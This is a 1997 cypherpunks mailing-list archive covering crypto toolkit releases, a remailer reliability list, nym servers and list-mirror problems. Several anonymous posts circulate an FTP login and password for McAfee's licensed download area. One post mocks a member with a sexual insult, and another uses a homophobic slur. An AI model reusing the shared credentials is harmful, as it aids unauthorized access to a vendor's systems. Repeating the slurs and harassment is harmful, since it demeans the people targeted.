Message-ID: <Pine.GSO.3.95.970525202025.15362A-100000@king>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 25 May 1997, Brian Durham wrote:

> > ftp://licenced:321@ftp.mcafee.com/licenced/
> 
> Login incorrect
> 
> 
Spell licensed correctly.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
ryan@michonline.com                           Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rsaeuro@repertech.com (RSAEuro General)
Date: Mon, 26 May 1997 05:11:18 +0800
To: cypherpunks@toad.com
Subject: ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
Message-ID: <3390a11e.23733547@sourcery>
MIME-Version: 1.0
Content-Type: text/plain


ANNOUNCE:- RSAEuro Version 1.04 (Internet) and 1.10 (Commercial)
================================================================

What is RSAEuro?
----------------

RSAEuro is a cryptographic toolkit providing various functions
for the use of digital signatures, data encryption and supporting
areas (PEM encoding, random number generation etc).  To aid
compatibility with existing software, RSAEuro is call-compatible
with RSADSI's "RSAREF(tm)" toolkit. RSAEuro allows non-US
residents to make use of much of the cryptographic software
previously only (legally) available in the US.

RSAEuro contains support for the following:

*    RSA encryption, decryption and key generation.  Compatible
     with 'RSA Laboratories' Public-Key Cryptography Standard
     (PKCS) #1.

*    Generation and verification of message digests using MD2,
     MD4, MD5 and SHS (SHS currently not implemented in
     higher-level functions to maintain compatibility with
     PKCS).

*    DES encryption and decryption using CBC (1, 2 or 3 keys
     using Encrypt-Decrypt-Encrypt) and DESX(tm), RSADSI's
     secure DES enhancement. Blowfish and RRC.2 encryption and
     decryption using CBC (available in commercial versions
     only).

*    Diffie-Hellman key agreement as defined in PKCS #3.

*    PEM support support for RFC 1421 encoded ASCII data with
     all main functions.

*    Key routines implemented in assembler for speed (80386 and
     680x0 currently supported).

*    Much improved library documentation with code samples.

International Use
-----------------

IMPORTANT NOTICE:  Please do not distribute or use this software
in the US it is 'illegal' to use this toolkit in the US, as RSADSI and
Cylink hold patents relating to public-key cryptography.  If you are a
US resident, please use the RSAREF toolkit instead.

On The Web
----------

RSAEuro can now be found at

http://www.repertech.com/RSAEuro.html

Author Details
--------------

With comments and suggestions, please address them to Stephen Kapp, at
'rsaeuro@repertech.com', for documentation comments suggestions
please address them to Nick Barron, at 'nikb@repertech.com'
----------------------------------------------------------------------------
RSAEURO:      rsaeuro@repertech.com
RSAEURO Bugs: rsaeuro-bugs@repertech.com
Tel:          +44 (0)370 566687
Http:         http://www.repertech.com/RSAEuro.html

RSAEURO - Copyright (c) J.S.A.Kapp 1994-1997.
----------------------------------------------------------------------------
RSAEURO - Cryptography for the World.
Reaper Technologies - Computer Security Specialists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Mon, 26 May 1997 06:39:13 +0800
To: cypherpunks@toad.com
Subject: Message
Message-ID: <19970525221757.21291.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


ftp://licenced:321@ftp.mcafee.com/licenced/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 26 May 1997 13:06:17 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199705260352.FAA05338@basement.replay.com>
Message-ID: <199705260452.XAA10160@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3954.1071713701.multipart/signed"

--Boundary..3954.1071713701.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

In <199705260352.FAA05338@basement.replay.com>, on 05/25/97 
   at 09:52 PM, nobody@REPLAY.COM (Anonymous) said:

> >ftp://licenced:321@ftp.mcafee.com/licenced/

> >> Anyone try this site?  I couldn't connect.

> >> The Pie Guy


>The correct adress is:

>ftp://licensed:321@ftp.mcafee.com/licensed/

>The /security dir is quite interesting...

>(This message was encrypted with an unregistered copy of AutoPGP 2.2 3.)
                   ^^^^^^^^^

nice encryption job. :)))

-- 
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
-----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!


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--Boundary..3954.1071713701.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 26 May 1997 16:08:06 +0800
To: cypherpunks@algebra.com
Subject: Nym Servers
Message-ID: <3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


As well as active Cypherpunks mirrors, have there been many new nym servers
coming into existance?  Most of them seem to have been dying on the vine.

Info on new or existing nym servers appreciated.  (I am not certain in Raph
has been covering them on the remailer list.)


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Mon, 26 May 1997 15:35:10 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-scri-be
Message-ID: <199705260726.CAA09125@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Sun May 25 13:49:13 1997
Date: Sun, 25 May 1997 13:49:12 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705251849.NAA31543@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-s-c-ribe\b/i at line 6  

>From cpunks@manifold.algebra.com  Sun May 25 13:48:58 1997
Return-Path: <cypherpunks-errors@toad.com>
Received: (from root@localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id NAA31470 for cypherpunks+incoming-toad@algebra.com; Sun, 25 May 1997 13:48:57 -0500
Received: from toad.com (toad.com [140.174.2.1])
	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id OAA29060
	for <cypherpunks+incoming-toad@algebra.com>; Sun, 25 May 1997 14:44:48 -0400 (EDT)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id LAA12840 for cypherpunks-unedited-outgoing; Sun, 25 May 1997 11:40:51 -0700 (PDT)
Received: from linux.nycmetro.com (root@linux.nycmetro.com [206.165.149.10]) by toad.com (8.7.5/8.7.3) with ESMTP id LAA12831 for <cypherpunks@toad.com>; Sun, 25 May 1997 11:40:47 -0700 (PDT)
From: harka@nycmetro.com
Received: from slip112.nycmetro.com (slip112.nycmetro.com [206.165.149.112])
	by linux.nycmetro.com (8.8.5/8.8.5) with SMTP id OAA18559
	for <cypherpunks@toad.com>; Sun, 25 May 1997 14:46:18 -0400
Date: Sun, 25 May 1997 14:46:18 -0400
Message-Id: <199705251846.OAA18559@linux.nycmetro.com>
To: cypherpunks@toad.com
Subject: Re: Too few Cypherpunks nodes
X-Sender: Private Idaho 2.8b3
Sender: owner-cypherpunks@toad.com
Precedence: bulk


-----BEGIN PGP SIGNED MESSAGE-----

> (ichudov@algebra.com) wrote:

>> To sub-scr-ibe to one of the Cypherpunks mailing list distribution points
>> send email to (one of) majordomo@algebra.com, 
>>majordomo@sirius.infonex.com, or majordomo@cyberpass.net with the 
>>following text in the body of your email message:

> Actually, infonex and cyberpass are the same place. Instead, you
> can list majordomo@ssz.com, majordomo@cyberpass.net, and
> majordomo@algebra.com.


I've also put the same info into "PGPSteps" 
(http://bureau42.base.org/public/pgpsteps.txt)

Ciao

Harka


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=XDyj
-----END PGP SIGNATURE-----

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Mon, 26 May 1997 15:42:46 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-scri-be
Message-ID: <199705260727.CAA09157@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Sun May 25 12:13:02 1997
Date: Sun, 25 May 1997 12:13:00 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705251713.MAA30334@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-s-cr-ibe\b/i at line 6  

>From cpunks@manifold.algebra.com  Sun May 25 12:12:46 1997
Return-Path: <cpunks@einstein.ssz.com>
Received: (from root@localhost) by manifold.algebra.com (8.8.5/8.8.2) with UUCP id MAA30320 for cypherpunks@algebra.com; Sun, 25 May 1997 12:12:42 -0500
Received: from einstein.ssz.com (root@einstein.ssz.com [204.96.2.99])
	by www.video-collage.com (8.8.5/8.8.5) with SMTP id NAA22220
	for <cypherpunks@algebra.com>; Sun, 25 May 1997 13:11:02 -0400 (EDT)
Received: (from cpunks@localhost) by einstein.ssz.com (8.6.12/8.6.9) id LAA24674 for cypherpunks@algebra.com; Sun, 25 May 1997 11:37:20 -0500
Received: (from bin@localhost) by einstein.ssz.com (8.6.12/8.6.9) id LAA24669 for cypherpunks-outgoing; Sun, 25 May 1997 11:37:17 -0500
Received: (from ravage@localhost) by einstein.ssz.com (8.6.12/8.6.9) id LAA24662 for cypherpunks; Sun, 25 May 1997 11:37:14 -0500
From: Jim Choate <ravage@einstein.ssz.com>
Message-Id: <199705251637.LAA24662@einstein.ssz.com>
Subject: Re: Too few cypherpunks nodes. (fwd)
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Date: Sun, 25 May 1997 11:37:13 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Sender: owner-cypherpunks@einstein.ssz.com
Precedence: bulk
X-Mailing-List: cypherpunks@ssz.com
X-List-Admin: list@ssz.com
X-Loop: ssz.com

Forwarded message:

> Date: Sun, 25 May 1997 11:54:37 -0500 (CDT)
> From: ichudov@algebra.com (Igor Chudov @ home)

> Page> To sub-scr-ibe to one of the Cypherpunks mailing list distribution points
> Page> send email to (one of) majordomo@algebra.com,
> Page> majordomo@sirius.infonex.com, or majordomo@cyberpass.net with the
> Page> following text in the body of your email message:
> 
> Actually, infonex and cyberpass are the same place. Instead, you
> can list majordomo@ssz.com, majordomo@cyberpass.net, and
> majordomo@algebra.com.

How about:

To sub-s-c-r-ibe to the Cypherpunks Distributed Remailer is a little different
than most mailing lists you may have experienced. The reason is that the
list consists of several indipendent systems passing traffic from each
system to the others. They use a mutualy agreed upon method for deleting
multiple copies. Since all the remailers share a commen remailer package,
namely Majordomo, they have a commen interface. The actual mechanism of
sub-scr-ip-tion is to send 'majordomo@<system>' an email with 'sub-scr-ibe
cypherpunks' in the body.

As of <insert date here> the available <system> are:

 albegra.com
 ssz.com (human mailing list help is available at list@ssz.com)
 cyberpass.net

[To avoid bias I suggest sorting alphabeticaly by domain and then system
 name]


                                               Jim Choate
                                               CyberTects
                                               ravage@ssz.com

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 26 May 1997 12:14:05 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705260352.FAA05338@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


 >ftp://licenced:321@ftp.mcafee.com/licenced/

 >> Anyone try this site?  I couldn't connect.

 >> The Pie Guy


The correct adress is:

ftp://licensed:321@ftp.mcafee.com/licensed/

The /security dir is quite interesting...

(This message was encrypted with an unregistered copy of AutoPGP 2.2ß3.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Mon, 26 May 1997 14:56:47 +0800
To: John Young <cypherpunks@cyberpass.net>
Subject: NYC Crypto & MB [was Re: Jim Bell Complaint]
In-Reply-To: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
Message-ID: <199705260646.AAA20735@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970523:2113 John Young <jya@pipeline.com> expostulated:

+Time to study and ponder the 1st Amend -- which, by the way, Matt Blaze
+did at the NYC crypto forum last night to challenge Charney and
+Denning. Matt pulled out a copy and cited it, which may be a good
+indication of what he knows that we don't about what's coming.

    not only the gawd-awful truth, but the gawd-awful _fear_.

    Bubba's hypocrasy at U. Conn will shortly be proved in spades
    as the first amendment falls "...in the interest of national 
    security...."

    or the evidence of NWMBs (New World Mega Business) with the 
    impending transfer of the US Patent office into a private 
    enterprise for the more expedient rape, pillage, and burn of 
    development by NWMBs.

    Government in the sunshine is a hoax --our so called government, a 
    government of greed and power, can not afford our sunshine.

 ______________________________________________________________________
  Surveillance is ultimately just another form of entertainment.
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM4kxf704kQrCC2kFAQEu1wQAojdOhDZdiFlX6mStOmGN+4tXcqHI6lCs
GWrkZUeRK726lXq1RlxPSMF7zJOTjJsrISxpG1oWRONhwW1qOospYTdWyI3U8q6w
ZJCeGCelckHcqCOSirieolMxZv2K3dWv3ZZTv3CJ718Yv9XYVPo3oCBrayV7t+Pf
5Tt2//o8ffM=
=lvqZ
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 26 May 1997 22:16:20 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199705261350.GAA21499@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 26 May 97 6:48:22 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
winsock  winsock@rigel.cyberpass.net      ----++--+---  4:13:55  99.99%
hidden   remailer@hidden.net              ##*..+######  1:13:37  99.97%
weasel   config@weasel.owl.de             +---+-+++-++  1:53:36  99.96%
squirrel mix@squirrel.owl.de              +---+++++-++  1:53:32  99.96%
jam      remailer@cypherpunks.ca          * *+********    10:17  99.90%
nym      config@nym.alias.net             *++#+** *#**     1:59  99.80%
balls    remailer@huge.cajones.com        # #++###*###     2:04  99.78%
replay   remailer@replay.com              **.-+*-*****    39:24  99.61%
cyber    alias@alias.cyberpass.net        +****+ +* *+    15:08  99.41%
mix      mixmaster@remail.obscura.com     --*-*---.--  18:29:05  98.56%
lucifer  lucifer@dhp.com                  +*++   ++-++  1:15:02  97.14%
reno     middleman@cyberpass.net          + -+++ ++-    1:41:56  79.63%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 26 May 1997 23:11:18 +0800
To: cypherpunks@einstein.ssz.com
Subject: PGP 2.6.3 Now Available for USA OS/2 users
Message-ID: <199705261459.JAA15150@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi,

This is just a quick not to let everyone know that PGP 2.6.3 is now
available for USA OS/2 users from my web site:

http://www.amaranth.com/~whgiii/pgpmr2.html

Just follow the links until you get to the download page.

This is the PGP 2.6.3i source code compiled with the RSAREF 1.0 lib to
make it's use "legal" in the USA.

I have various language files ,the PGP 2.6.3 source code, and the RSAREF
source code available for download from the same page.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.                        
- -----------------------------------------------------------
 
Tag-O-Matic: The best way to accelerate Windows is at escape velocity.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4mkwY9Co1n+aLhhAQGVaQQAizq9XJnfXJ1aDmOTUSGSZaMrvunDW7pE
YLQ3BYoBoyeHqlDkINN149wqzBA22b//g2cySF0VFx3v3E2FHjyQZf+TnXTTJ4uq
VFLpBWL3qemjS18rYAYKghUObiJEKMiuG4ljuJkf76qmejweVRByu0KgSlcVirCN
9oTjMDdiQK4=
=PyaM
-----END PGP SIGNATURE-----
 
Tag-O-Matic: Get OS/2 - the best Windows tip around!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Tue, 27 May 1997 04:41:58 +0800
To: tcmay@got.net
Subject: Re: V-Chips for the Internet / Crypto Keyboards
In-Reply-To: <v03102800afabb4cdc0fe@[207.167.93.63]>
Message-ID: <199705262003.NAA09654@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May writes:
> Could hardware-based chips be coming? At a recent meeting, John Markoff
> asked me if I'd heard anything about Intel's rumored contract to buy 20
> million (yes, 20 _million_) keyboards with crypto features built in. I had
> not heard this rumor.
> 
> (Since then, though, there have been rumblings that Intel is preparing to
> offer such keyboards, possibly with "user authentication" features (don't
> know what kind). This might, speculating here, be linked with  the Intel-HP
> (and maybe Verifone, which HP is buying?) key recovery work. Conceivably, a
> plan to sell a large user base (20 million?) on a hardware/keyboard-based
> "secure commerce" solution.)

I haven't heard anything about this rumor.  However, if you look at
the new USB chips being built by Cypress et al, it's not hard to
imagine keyboards with ISO smart card readers built in.  The USB chips
contain a simple RISC core, lots of I/O pins and something like 4-8KB
of FLASH or OTP memory.  The incremental cost is a slot with 6
contacts for the smart card.  Unlike PCMCIA, the ISO smart cards are
cheap to build and easy to interface to.  Schmlumberger is currently
promoting it's "CryptoFlex" card which can do 1024-bit RSA sigs as
well as triple-DES.  I believe that it can do a 1024-bit sig in
something like 20 ms.

Eric





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Tue, 27 May 1997 08:19:53 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705262230.PAA07484@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


In a jerk-off competition Timothy C[rook] May finishes 
second, third and fifth.

              ,,,
             ($ $)
         -ooO-(_)-Ooo- Timothy C[rook] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 27 May 1997 05:22:56 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Mail problems (fwd)
Message-ID: <199705262040.PAA26906@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Forwarded message:

> Date: Mon, 26 May 1997 16:59:07 +0000 (   )
> From: Paul Bradley <paul@fatmans.demon.co.uk>
> Subject: Mail problems

> I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
> hours now, I have unsubscribed from algebra.com (which did not repond to 
> a ping at around 11am GMT today) and re-subscribed to cyberpass.net, but 
> have still only seen another one post (raphs remailer ping post). 
> Has anyone else experienced problems, inside the UK or outside? 
> 
> All of the post that have come through have been sent initially to 
> toad.com, my guess would be that nearly everyone, regardless of where 
> they are subscribed, is sending posts to algebra.com, which appears to be 
> down, therefore cyberpass and ssz, even though they are up, have not got 
> many messages to send on, does anyone know where toad.com is forwarding 
> posts to?
> 
> I wonder if this outage might have anything to do with Igor moving the 
> list to another machine, as I seem to remember he said he was, although 
> if I recall correctly he did not think this would cause a problem. As I 
> said, cyberpass is definitely up and has responded to my majordomo request. 

Guitly as charged. I was only forwarding to cypherpunks@algebra.com, I have
corrected my short-sightedness and am now forwarding to
cypherpunks@cyberpass.net as well.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 27 May 1997 07:21:20 +0800
To: cypherpunks@algebra.com
Subject: Tim has his own Geek Code!
Message-ID: <3.0.2.32.19970526160914.0075b1f8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I just noticed that Tim has his own Geek Code category:

"y+++ I am T.C. May"

http://krypton.mankato.msus.edu/~hayden/.codes/geek3.1.html

Congratulations!


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 05:29:54 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Mail problems (fwd)
In-Reply-To: <199705262040.PAA26906@einstein.ssz.com>
Message-ID: <199705262116.QAA13392@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> Hi,
> 
> Forwarded message:
> 
> > Date: Mon, 26 May 1997 16:59:07 +0000 (   )
> > From: Paul Bradley <paul@fatmans.demon.co.uk>
> > Subject: Mail problems
> 
> > I have seen only 3 or 4 posts from the cypherpunks list in the last 24 
> > hours now, I have unsubscribed from algebra.com (which did not repond to 
> > a ping at around 11am GMT today) and re-subscribed to cyberpass.net, but 
> > have still only seen another one post (raphs remailer ping post). 
> > Has anyone else experienced problems, inside the UK or outside? 

algebra.com will NEVER respond to pings.

This is because of the way algebra.com is set up.

It is up and running though.

> > I wonder if this outage might have anything to do with Igor moving the 
> > list to another machine, as I seem to remember he said he was, although 
> > if I recall correctly he did not think this would cause a problem. As I 

It will not cause any problems, but I have not even started it.


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 27 May 1997 05:27:44 +0800
To: alan@ctrl-alt-del.com (Alan Olsen)
Subject: Re: Nym Servers
In-Reply-To: <3.0.2.32.19970526005335.03d3ec60@mail.teleport.com>
Message-ID: <199705262119.QAA13412@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Alan Olsen wrote:
> 
> As well as active Cypherpunks mirrors, have there been many new nym servers
> coming into existance?  Most of them seem to have been dying on the vine.
> 
> Info on new or existing nym servers appreciated.  (I am not certain in Raph
> has been covering them on the remailer list.)
> 

As far as I understand, nym servers die because their maintainers get
tired of the huge amount of mass mailings, mailbombings and complaints
that these servers generate. Often enough they simply do not have the
bandwidth or CPU resources to maintain them.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 27 May 1997 07:27:26 +0800
To: cypherpunks@toad.com
Subject: Re: Nym Servers
In-Reply-To: <199705262119.QAA13412@manifold.algebra.com>
Message-ID: <Z4yB8D17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Alan Olsen wrote:
> >
> > As well as active Cypherpunks mirrors, have there been many new nym servers
> > coming into existance?  Most of them seem to have been dying on the vine.
> >
> > Info on new or existing nym servers appreciated.  (I am not certain in Raph
> > has been covering them on the remailer list.)
> >
>
> As far as I understand, nym servers die because their maintainers get
> tired of the huge amount of mass mailings, mailbombings and complaints
> that these servers generate. Often enough they simply do not have the
> bandwidth or CPU resources to maintain them.

Stanford Wallace is doing an excellent job hosting "unpopular"
Internet features which the politically correct scum (like the
cocksucker John Gilmore) sought to censor - like www.Godhatesfags.com.

It's pricey, but it sounds like a nearly ideal site for remailers,
nym sevrers, and the like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Tue, 27 May 1997 07:22:07 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type
Message-ID: <199705262319.SAA14235@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Mon May 26 15:57:06 1997
Date: Mon, 26 May 1997 15:57:06 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705262057.PAA13157@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\buns\w*b/i at line 3  

>From cpunks@manifold.algebra.com  Mon May 26 15:56:57 1997
Return-Path: <cpunks@sirius.infonex.com>
